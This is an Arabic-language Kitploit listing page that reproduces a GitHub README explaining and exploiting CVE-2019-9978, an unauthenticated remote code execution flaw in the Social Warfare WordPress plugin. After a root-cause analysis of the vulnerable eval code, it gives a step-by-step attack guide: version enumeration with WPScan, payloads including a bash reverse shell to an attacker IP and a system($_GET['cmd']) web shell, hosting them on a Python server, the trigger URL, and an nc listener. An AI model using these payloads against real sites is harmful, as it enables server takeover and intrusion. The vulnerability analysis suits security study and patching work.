Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-9978-Social-Warfare-WordPress-RCE — شرح كامل واستغلال لثغرة CVE-2019-9978 - تنفيذ تعليمات برمجية عن بُعد دون مصادقة في إضافة Social Warfare لووردبريس ≤ 3.5.2. يتضمن تحليلًا للكود القابل للاختراق وأمثلة على الحمولات. | Kitploit
أدوات/GitHubGitHub/tokyohunter/cve-2019-9978-social-warfare-wordpress-rce
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubtokyohunter/cve-2019-9978-social-warfare-wordpress-rce

CVE-2019-9978-Social-Warfare-WordPress-RCE

شرح كامل واستغلال لثغرة CVE-2019-9978 - تنفيذ تعليمات برمجية عن بُعد دون مصادقة في إضافة Social Warfare لووردبريس ≤ 3.5.2. يتضمن تحليلًا للكود القابل للاختراق وأمثلة على الحمولات.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1منذ شهر واحدلم تتم المراجعة بعد

Gemini_Generated_Image_a1skbua1skbua1sk

🚀 CVE-2019-9978 – ثغرة RCE في إضافة Social Warfare لووردبريس

⚠️ إخلاء مسؤولية: هذا المستودع مخصص للاختبارات الأمنية التعليمية والمصرّح بها فقط. استخدمه فقط على أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به غير قانوني.


📋 نظرة عامة

الخاصيةالقيمة
معرّف CVECVE-2019-9978
البرنامج المتأثرإضافة Social Warfare الإصدار ≤ 3.5.2 (ووردبريس)
نوع الثغرةتنفيذ كود عن بُعد (RCE) / تضمين ملفات عن بُعد (RFI)
مصادقة مطلوبة❌ لا – بدون مصادقة
درجة CVSS9.8 (حرجة)
أُصلح فيالإصدار 3.5.3
اُستغل في البريةنعم – مارس 2019

إضافة Social Warfare هي إضافة ووردبريس شائعة تضيف أزرار مشاركة اجتماعية إلى المواقع. تحتوي الإصدارات من 3.5.0 إلى 3.5.2 على ثغرة RCE حرجة تتيح للمهاجمين تنفيذ كود PHP عشوائي على الخادم دون أي مصادقة.


ما هو استخدام هذه الإضافة؟

Social Warfare هي إضافة ووردبريس شائعة تضيف أزرار مشاركة اجتماعية إلى المواقع، مما يتيح للزوار مشاركة المحتوى بسهولة على منصات مثل:

  • Facebook
  • Twitter / X
  • Pinterest
  • LinkedIn
  • Reddit
  • WhatsApp

sc1


تحليل السبب الجذري

الكود الضعيف

root@kitploit:~
if ( true == SWP_Utility::debug( 'load_options' ) ) {
    // ⚠️ CRITICAL MISUNDERSTANDING:
    // is_admin() only checks if the page is in /wp-admin/
    // It does NOT verify authentication or user privileges!
    if ( is_admin() ) {
        wp_die( 'You do not have authorization to view this page.' );
    }

    // Step 1: Fetch remote file from user-controlled URL
    // No validation, no sanitization, no whitelist!
    $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    // Step 2: Extract content between <pre> tags
    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    // Step 3: Build PHP code string
    $array = 'return ' . $options . ';';

    // Step 4: 💀 CRITICAL FLAW - User-supplied code is executed!
    try {
        $fetched_options = eval( $array ); // <-- Remote Code Execution
        // ... rest of the migration logic
    } catch ( ParseError $e ) {
        // ... error handling
    }
}

لماذا is_admin() ليست أمانًا؟

دالة ووردبريس is_admin() لا تتحقق مما إذا كان المستخدم مسجلاً للدخول أو لديه صلاحيات مسؤول. إنها تتحقق فقط مما إذا كانت الصفحة المطلوبة داخل مسار /wp-admin/:

root@kitploit:~
function is_admin() {
    return defined('WP_ADMIN') && WP_ADMIN;
    //  Does NOT check authentication!
    //  Does NOT check user role!
}

المفارقة: عند الوصول إلى /wp-admin/admin-post.php، يعرّف ووردبريس WP_ADMIN = true. هذا يجعل is_admin() تُرجع true حتى للطلبات غير المصادَق عليها، مما يمكّن كتلة الكود الضعيفة من التنفيذ.

هذه هي الثغرة!

root@kitploit:~
 $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    $array = 'return ' . $options . ';';

    try {
        $fetched_options = eval( $array ); // <-- Remote Code Execution
    }

كانت الإضافة تحتوي على ميزة "تصحيح الأخطاء" مخفية كان من المفترض أن تساعد المطورين على تحميل ملفات الإعدادات من عناوين URL خارجية. ومع ذلك، كانت لهذه الميزة عيب قاتل: فهي تنزّل أي ملف من عنوان URL يوفره المستخدم وتنفّذ أي كود تجده بداخله — دون طلب إذن أو التحقق من أن المستخدم مصرّح له.

الاستغلال بسيط:

يستضيف المهاجم ملفًا خبيثًا على خادمه الخاص، ويطلب من الإضافة تنزيله، فتقوم الإضافة بتشغيل كود المهاجم بشكل أعمى على موقع الضحية. وبما أن الإضافة لا تتطلب تسجيل الدخول لتفعيل هذا الأمر، فأي شخص يعرف عنوان URL يمكنه السيطرة على الموقع.

فكّر في الأمر هكذا: تخيّل حارس أمن يفتح أي باب عندما تقول "وضع التصحيح" — دون التحقق مما إذا كنت تعمل هناك أو لديك شارة. هذا بالضبط ما كانت تفعله هذه الثغرة.

يجب أن تُكتب الحمولة بين وسمي <pre></pre>.


💀 دليل الاستغلال خطوة بخطوة

الخطوة 1: تحديد الهدف الضعيف أو تثبيت ووردبريس وهذه الإضافة ثم اتباع الخطوات

استخدم WPScan لتحديد إصدار إضافة Social Warfare:

root@kitploit:~
wpscan --url http://target.com --enumerate vp
  • Social Warfare إصدار الإضافة ≤ 3.5.2

إذا كنت قد ثبّتّها بنفسك، لا تنسَ تفعيل الإضافة من لوحة التحكم.


الخطوة 2: إنشاء ملف الحمولة

أنشئ payload.txt مع الحمولة التي تريدها، ثم جهّز خادمًا لتقديم تلك الحمولة.

أمثلة على الحمولات:

حمولة اختبار (للتحقق من RCE):

root@kitploit:~
<pre>phpinfo();</pre>

اختبار خارج النطاق:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

Reverse Shell على لينكس:

root@kitploit:~
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>

منفّذ أوامر تفاعلي:

root@kitploit:~
<pre>system($_GET['cmd']);</pre>

الخطوة 3: استضافة الحمولة

شغّل خادم HTTP بلغة Python لاستضافة حمولتك:

root@kitploit:~
python3 -m http.server 8000

أصبحت حمولتك الآن متاحة على: http://YOUR_IP:8000/payload.txt

إذا كنت تستخدم localhost:

root@kitploit:~
http://127.0.0.1:8000/payload.txt

بعد إرسال الطلب من الكود الضعيف، يجب أن ترى رمز الحالة 200:

sc3


الخطوة 4: تفعيل الاستغلال

الخيار أ – التفعيل اليدوي:

افتح عنوان URL هذا في متصفحك أو استخدم curl:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt

مرة أخرى، إذا كنت تستخدم localhost:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt

الخطوة 5: التقاط الـ Reverse Shell (لحمولات Reverse Shell)

root@kitploit:~
nc -lvnp 4444

إذا نجح الأمر، ستحصل على shell!


النتائج:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

sce

root@kitploit:~
<pre>phpinfo();</pre>

sc4


اختراق سعيد! 🚀

تنزيل الأداة